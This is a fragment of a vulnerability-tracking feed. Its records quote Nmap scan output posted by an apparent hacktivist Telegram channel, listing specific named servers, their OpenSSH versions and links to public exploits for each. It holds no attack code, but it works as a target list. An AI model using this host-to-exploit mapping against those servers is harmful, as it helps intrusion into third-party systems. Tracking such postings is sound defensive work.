*EXPLOIT*              |       5C971D4B-2DD3-5894-9EC2-DAB952B4740D   0.0     https://vulners.com/githubexploit/5C971D4B-2DD3-5894-9EC2-DAB952B4740D        *EXPLOIT*              |_      39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118   0.0     https://vulners.com/githubexploit/39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118        *EXPLOIT*              Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                       Final times for host: srtt: 232641 rttvar: 232641  to: 300000                                                        Nmap scan report for static.254.140.201.138.clients.your-server.de (138.201.140.254)                                 Host is up, received user-set.         Scanned at 2025-04-01 14:37:41 +08 for 166s", "creation_timestamp": "2025-04-01T08:49:50.000000Z"}, {"uuid": "933456de-b2e9-46fe-8a24-26e3d64ae164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4829", "type": "seen", "source": "https://t.me/cibsecurity/72237", "content": "\u203c CVE-2023-4829 \u203c\n\nCross-site Scripting (XSS) - Stored in GitHub repository froxlor/froxlor prior to 2.0.22.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-13T16:29:03.000000Z"}, {"uuid": "8a4a8e35-0cd5-4ac1-8226-dd33474ccd83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/10579", "content": "*EXPLOIT*              |       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579   *EXPLOIT*                                     |       PACKETSTORM:173661      7.5   https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*              |       F0979183-AE88-53B4-86CF-3AF0523F3807   7.5     https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2023-51384  5.5     https://vulners.com/cve/CVE-2023-51384        |       PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              |       5C971D4B-2DD3-5894-9EC2-DAB952B4740D   0.0     https://vulners.com/githubexploit/5C971D4B-2DD3-5894-9EC2-DAB952B4740D        *EXPLOIT*              |_      39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118   0.0     https://vulners.com/githubexploit/39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118        *EXPLOIT*              Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                       Final times for host: srtt: 229364 rttvar: 229364  to: 300000                                                        Nmap scan report for static.243.140.201.138.clients.your-server.de (138.201.140.243)                                 Host is up, received user-set (0.22s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 186s                                                                          PORT   STATE SERVICE REASON  VERSION   22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)                            | vulners:                             |   cpe:/a:openbsd:openssh:8.2p1:      |       CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408        |       B8190CDB-3EB9-5631-9828-8064A1575B23   9.8     https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23        *EXPLOIT*              |       8FC9C5AB-3968-5F3C-825E-E8DB5379A623   9.8     https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623        *EXPLOIT*              |       8AD01159-548E-546E-AA87-2DE89F3927EC   9.8     https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC        *EXPLOIT*              |       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A   9.8     https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A        *EXPLOIT*              |       0221525F-07F5-5790-912D-F4B9E2D1B587   9.8     https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587        *EXPLOIT*              |       CVE-2020-15778  7.8     https://vulners.com/cve/CVE-2020-15778        |       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579   *EXPLOIT*                                     |       PACKETSTORM:173661      7.5   https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*              |       F0979183-AE88-53B4-86CF-3AF0523F3807   7.5     https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       CVE-2020-12062  7.5     https://vulners.com/cve/CVE-2020-12062        |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |", "creation_timestamp": "2025-04-01T08:49:50.000000Z"}, {"uuid": "231f3f2c-2cac-427b-9d64-bece2fcd5e6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/10586", "content": "Scanned at 2025-04-01 14:37:41 +08 for 166s                                                                          PORT   STATE    SERVICE REASON      VERSION                                   22/tcp filtered ssh     no-response                                           Nmap scan report for static.252.140.201.138.clients.your-server.de (138.201.140.252)                                 Host is up, received user-set (0.23s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 186s                                                                          PORT   STATE SERVICE REASON  VERSION   22/tcp open  ssh     syn-ack OpenSSH 8.0 (protocol 2.0)                       | vulners:                             |   cpe:/a:openbsd:openssh:8.0:        |       CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408        |       B8190CDB-3EB9-5631-9828-8064A1575B23   9.8     https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23        *EXPLOIT*              |       8FC9C5AB-3968-5F3C-825E-E8DB5379A623   9.8     https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623        *EXPLOIT*              |       8AD01159-548E-546E-AA87-2DE89F3927EC   9.8     https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC        *EXPLOIT*              |       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A   9.8     https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A        *EXPLOIT*              |       0221525F-07F5-5790-912D-F4B9E2D1B587   9.8     https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587        *EXPLOIT*              |       CVE-2020-15778  7.8     https://vulners.com/cve/CVE-2020-15778        |       CVE-2019-16905  7.8     https://vulners.com/cve/CVE-2019-16905        |       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579   *EXPLOIT*                                     |       PACKETSTORM:173661      7.5   https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*              |       F0979183-AE88-53B4-86CF-3AF0523F3807   7.5     https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |       CVE-2021-41617  7.0     https://vulners.com/cve/CVE-2021-41617        |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3   6.8     https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3        *EXPLOIT*              |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       10213DBE-F683-58BB-B6D3-353173626207   6.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207        *EXPLOIT*              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       CVE-2020-14145  5.9     https://vulners.com/cve/CVE-2020-14145        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2016-20012  5.3     https://vulners.com/cve/CVE-2016-20012        |       CVE-2021-36368  3.7     https://vulners.com/cve/CVE-2021-36368        |_      PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              Final times for host: srtt: 227656 rttvar: 227656  to: 300000                                                        Nmap scan report for static.253.140.201.138.clients.your-server.de (138.201.140.253)                                 Host is up, received user-set", "creation_timestamp": "2025-04-01T08:49:50.000000Z"}, {"uuid": "3dbd5b76-652e-4c05-ad85-6d08d5adcce2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "Telegram/qJDb0ndiLlSIpTwg0L8sGH2LZsU4iYvq1EkFABMG5KHwOA", "content": "", "creation_timestamp": "2024-04-17T15:35:56.000000Z"}, {"uuid": "84aac2d7-2aeb-4ea4-96ff-3cee65b57de5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/cyberwarehouse/238", "content": "", "creation_timestamp": "2026-07-17T11:00:06.636125Z"}, {"uuid": "c059e477-e9b8-4b5a-8d8f-b14b85a06c09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/10574", "content": "https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3        *EXPLOIT*              |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       10213DBE-F683-58BB-B6D3-353173626207   6.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207        *EXPLOIT*              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       EDB-ID:40858    6.4     https://vulners.com/exploitdb/EDB-ID:40858   *EXPLOIT*                               |       EDB-ID:40119    6.4     https://vulners.com/exploitdb/EDB-ID:40119   *EXPLOIT*                               |       EDB-ID:39569    6.4     https://vulners.com/exploitdb/EDB-ID:39569   *EXPLOIT*                               |       CVE-2016-3115   6.4     https://vulners.com/cve/CVE-2016-3115         |       PACKETSTORM:181223      5.9   https://vulners.com/packetstorm/PACKETSTORM:181223      *EXPLOIT*              |       MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-       5.9     https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-       *EXPLOIT*      |       EDB-ID:40136    5.9     https://vulners.com/exploitdb/EDB-ID:40136   *EXPLOIT*                               |       EDB-ID:40113    5.9     https://vulners.com/exploitdb/EDB-ID:40113   *EXPLOIT*                               |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       CVE-2020-14145  5.9     https://vulners.com/cve/CVE-2020-14145        |       CVE-2019-6111   5.9     https://vulners.com/cve/CVE-2019-6111         |       CVE-2016-6210   5.9     https://vulners.com/cve/CVE-2016-6210         |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       EXPLOITPACK:98FE96309F9524B8C84C508837551A19   5.8     https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19  *EXPLOIT*      |       EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97   5.8     https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97  *EXPLOIT*      |       1337DAY-ID-32328        5.8   https://vulners.com/zdt/1337DAY-ID-32328*EXPLOIT*                              |       1337DAY-ID-32009        5.8   https://vulners.com/zdt/1337DAY-ID-32009*EXPLOIT*                              |       SSV:91041       5.5     https://vulners.com/seebug/SSV:91041   *EXPLOIT*                                     |       PACKETSTORM:140019      5.5   https://vulners.com/packetstorm/PACKETSTORM:140019      *EXPLOIT*              |       PACKETSTORM:136251      5.5   https://vulners.com/packetstorm/PACKETSTORM:136251      *EXPLOIT*              |       PACKETSTORM:136234      5.5   https://vulners.com/packetstorm/PACKETSTORM:136234      *EXPLOIT*              |       EXPLOITPACK:F92411A645D85F05BDBD274FD222226F   5.5     https://vulners.com/exploitpack/EXPLOITPACK:F92411A645D85F05BDBD274FD222226F  *EXPLOIT*      |       EXPLOITPACK:9F2E746846C3C623A27A441281EAD138   5.5     https://vulners.com/exploitpack/EXPLOITPACK:9F2E746846C3C623A27A441281EAD138  *EXPLOIT*      |       EXPLOITPACK:1902C998CBF9154396911926B4C3B330   5.5     https://vulners.com/exploitpack/EXPLOITPACK:1902C998CBF9154396911926B4C3B330  *EXPLOIT*      |       CVE-2016-10011  5.5     https://vulners.com/cve/CVE-2016-10011        |       1337DAY-ID-25388        5.5   https://vulners.com/zdt/1337DAY-ID-25388*EXPLOIT*                              |       EDB-ID:45939    5.3     https://vulners.com/exploitdb/EDB-ID:45939   *EXPLOIT*                               |       EDB-ID:45233    5.3     https://vulners.com/exploitdb/EDB-ID:45233   *EXPLOIT*                               |       CVE-2018-20685  5.3     https://vulners.com/cve/CVE-2018-20685        |       CVE-2018-15919  5.3     https://vulners.com/cve/CVE-2018-15919        |       CVE-2018-15473  5.3     https://vulners.com/cve/CVE-2018-15473        |       CVE-2017-15906  5.3     https://vulners.com/cve/CVE-2017-15906        |", "creation_timestamp": "2025-04-01T08:49:50.000000Z"}, {"uuid": "96e2b99d-be5d-4784-b365-00be2bcd184b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/10572", "content": "hubexploit/108E1D25-1F7E-534C-97CD-3F6045E32B98        *EXPLOIT*              |       0FC4BE81-312B-51F4-9D9B-66D8B5C093CD   8.1     https://vulners.com/githubexploit/0FC4BE81-312B-51F4-9D9B-66D8B5C093CD        *EXPLOIT*              |       0F9B3655-C7D4-55A9-8EB5-2EAD9CEAB180   8.1     https://vulners.com/githubexploit/0F9B3655-C7D4-55A9-8EB5-2EAD9CEAB180        *EXPLOIT*              |       0E9294FD-6B44-503A-84C2-C6E76E53B0B7   8.1     https://vulners.com/githubexploit/0E9294FD-6B44-503A-84C2-C6E76E53B0B7        *EXPLOIT*              |       0A8CA57C-ED38-5301-A03A-C841BD3082EC   8.1     https://vulners.com/githubexploit/0A8CA57C-ED38-5301-A03A-C841BD3082EC        *EXPLOIT*              |       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579   *EXPLOIT*                                     |       PACKETSTORM:173661      7.5   https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*              |       F0979183-AE88-53B4-86CF-3AF0523F3807   7.5     https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2023-51384  5.5     https://vulners.com/cve/CVE-2023-51384        |       PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              |       5C971D4B-2DD3-5894-9EC2-DAB952B4740D   0.0     https://vulners.com/githubexploit/5C971D4B-2DD3-5894-9EC2-DAB952B4740D        *EXPLOIT*              |_      39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118   0.0     https://vulners.com/githubexploit/39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118        *EXPLOIT*              Final times for host: srtt: 228805 rttvar: 228805  to: 300000                                                        Nmap scan report for static.238.140.201.138.clients.your-server.de (138.201.140.238)                                 Host is up, received user-set.         Scanned at 2025-04-01 14:37:41 +08 for 165s                                                                          PORT   STATE    SERVICE REASON      VERSION                                   22/tcp filtered ssh     no-response                                           Nmap scan report for static.239.140.201.138.clients.your-server.de (138.201.140.239)                                 Host is up, received user-set (0.22s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 165s                                                                          PORT   STATE  SERVICE REASON       VERSION                                    22/tcp closed ssh     conn-refused     Final times for host: srtt: 216092 rttvar: 216092  to: 300000                                                        Nmap scan report for fahrschulcloud.de (138.201.140.240)                      Host is up, received user-set (0.22s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 186s                                                                          PORT   STATE SERVICE REASON  VERSION   22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)                           | vulners:                             |   cpe:/a:openbsd:openssh:7.2p2:", "creation_timestamp": "2025-04-01T08:49:50.000000Z"}, {"uuid": "b56527f3-60bd-42ab-8fa6-ea4be8a56f87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/10580", "content": "CVE-2021-28041  7.1     https://vulners.com/cve/CVE-2021-28041        |       CVE-2021-41617  7.0     https://vulners.com/cve/CVE-2021-41617        |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3   6.8     https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3        *EXPLOIT*              |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       10213DBE-F683-58BB-B6D3-353173626207   6.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207        *EXPLOIT*              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       CVE-2020-14145  5.9     https://vulners.com/cve/CVE-2020-14145        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2016-20012  5.3     https://vulners.com/cve/CVE-2016-20012        |       CVE-2021-36368  3.7     https://vulners.com/cve/CVE-2021-36368        |_      PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                       Final times for host: srtt: 216453 rttvar: 216453  to: 300000                                                        Nmap scan report for solidboukas.mynewserver.com (138.201.140.244)            Host is up, received user-set (0.22s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 166s                                                                          PORT   STATE  SERVICE REASON       VERSION                                    22/tcp closed ssh     conn-refused     Final times for host: srtt: 219505 rttvar: 219505  to: 300000                                                        Nmap scan report for static.245.140.201.138.clients.your-server.de (138.201.140.245)                                 Host is up, received user-set (0.21s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 186s                                                                          PORT   STATE SERVICE REASON  VERSION   22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)                           | vulners:                             |   cpe:/a:openbsd:openssh:8.2p1:      |       CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408        |       B8190CDB-3EB9-5631-9828-8064A1575B23   9.8     https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23        *EXPLOIT*              |       8FC9C5AB-3968-5F3C-825E-E8DB5379A623   9.8     https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623        *EXPLOIT*              |       8AD01159-548E-546E-AA87-2DE89F3927EC   9.8     https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC        *EXPLOIT*              |       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A   9.8     https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A        *EXPLOIT*              |       0221525F-07F5-5790-912D-F4B9E2D1B587   9.8     https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587        *EXPLOIT*              |       CVE-2020-15778  7.8     https://vulners.com/cve/CVE-2020-15778        |       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579   *EXPLOIT*                                     |       PACKETSTORM:173661      7.5   https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*              |       F0979183-AE88-53B4-86CF-3AF0523F3807   7.5", "creation_timestamp": "2025-04-01T08:49:50.000000Z"}, {"uuid": "0e4cba5b-d8c2-43af-87b8-173f93e3015f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/10585", "content": "7.5     https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2023-51384  5.5     https://vulners.com/cve/CVE-2023-51384        |       PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              |       5C971D4B-2DD3-5894-9EC2-DAB952B4740D   0.0     https://vulners.com/githubexploit/5C971D4B-2DD3-5894-9EC2-DAB952B4740D        *EXPLOIT*              |_      39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118   0.0     https://vulners.com/githubexploit/39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118        *EXPLOIT*              Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                       Final times for host: srtt: 228328 rttvar: 228328  to: 300000                                                        Nmap scan report for static.248.140.201.138.clients.your-server.de (138.201.140.248)                                 Host is up, received user-set (0.21s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 186s                                                                          PORT   STATE SERVICE REASON  VERSION   22/tcp open  ssh     syn-ack OpenSSH 9.9 (protocol 2.0)                       | vulners:                             |   cpe:/a:openbsd:openssh:9.9:        |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       CVE-2025-26466  5.9     https://vulners.com/cve/CVE-2025-26466        |_      CE606E2D-D0A5-5DE8-8A61-E7AB65789A99   5.9     https://vulners.com/githubexploit/CE606E2D-D0A5-5DE8-8A61-E7AB65789A99        *EXPLOIT*              Final times for host: srtt: 214222 rttvar: 214222  to: 300000                                                        Nmap scan report for static.249.140.201.138.clients.your-server.de (138.201.140.249)                                 Host is up, received user-set.         Scanned at 2025-04-01 14:37:41 +08 for 166s                                                                          PORT   STATE    SERVICE REASON      VERSION                                   22/tcp filtered ssh     no-response                                           Nmap scan report for static.250.140.201.138.clients.your-server.de (138.201.140.250)                                 Host is up, received user-set.         Scanned at 2025-04-01 14:37:41 +08 for 166s                                                                          PORT   STATE    SERVICE REASON      VERSION                                   22/tcp filtered ssh     no-response                                           Nmap scan report for static.251.140.201.138.clients.your-server.de (138.201.140.251)                                 Host is up, received user-set.", "creation_timestamp": "2025-04-01T08:49:50.000000Z"}, {"uuid": "20f89835-8570-4792-84ae-8a9fb862bba5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/10581", "content": "https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       CVE-2020-12062  7.5     https://vulners.com/cve/CVE-2020-12062        |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |       CVE-2021-28041  7.1     https://vulners.com/cve/CVE-2021-28041        |       CVE-2021-41617  7.0     https://vulners.com/cve/CVE-2021-41617        |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3   6.8     https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3        *EXPLOIT*              |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       10213DBE-F683-58BB-B6D3-353173626207   6.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207        *EXPLOIT*              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       CVE-2020-14145  5.9     https://vulners.com/cve/CVE-2020-14145        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2016-20012  5.3     https://vulners.com/cve/CVE-2016-20012        |       CVE-2021-36368  3.7     https://vulners.com/cve/CVE-2021-36368        |_      PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                       Final times for host: srtt: 214350 rttvar: 214350  to: 300000                                                        Nmap scan report for static.246.140.201.138.clients.your-server.de (138.201.140.246)                                 Host is up, received user-set (0.22s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 166s                                                                          PORT   STATE  SERVICE REASON       VERSION                                    22/tcp closed ssh     conn-refused     Final times for host: srtt: 224679 rttvar: 224679  to: 300000                                                        Nmap scan report for static.247.140.201.138.clients.your-server.de (138.201.140.247)                                 Host is up, received user-set (0.23s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 186s                                                                          PORT   STATE SERVICE REASON  VERSION   22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)    | vulners:                             |   cpe:/a:openbsd:openssh:9.2p1:      |       2C119FFA-ECE0-5E14-A4A4-354A2C38071A   10.0    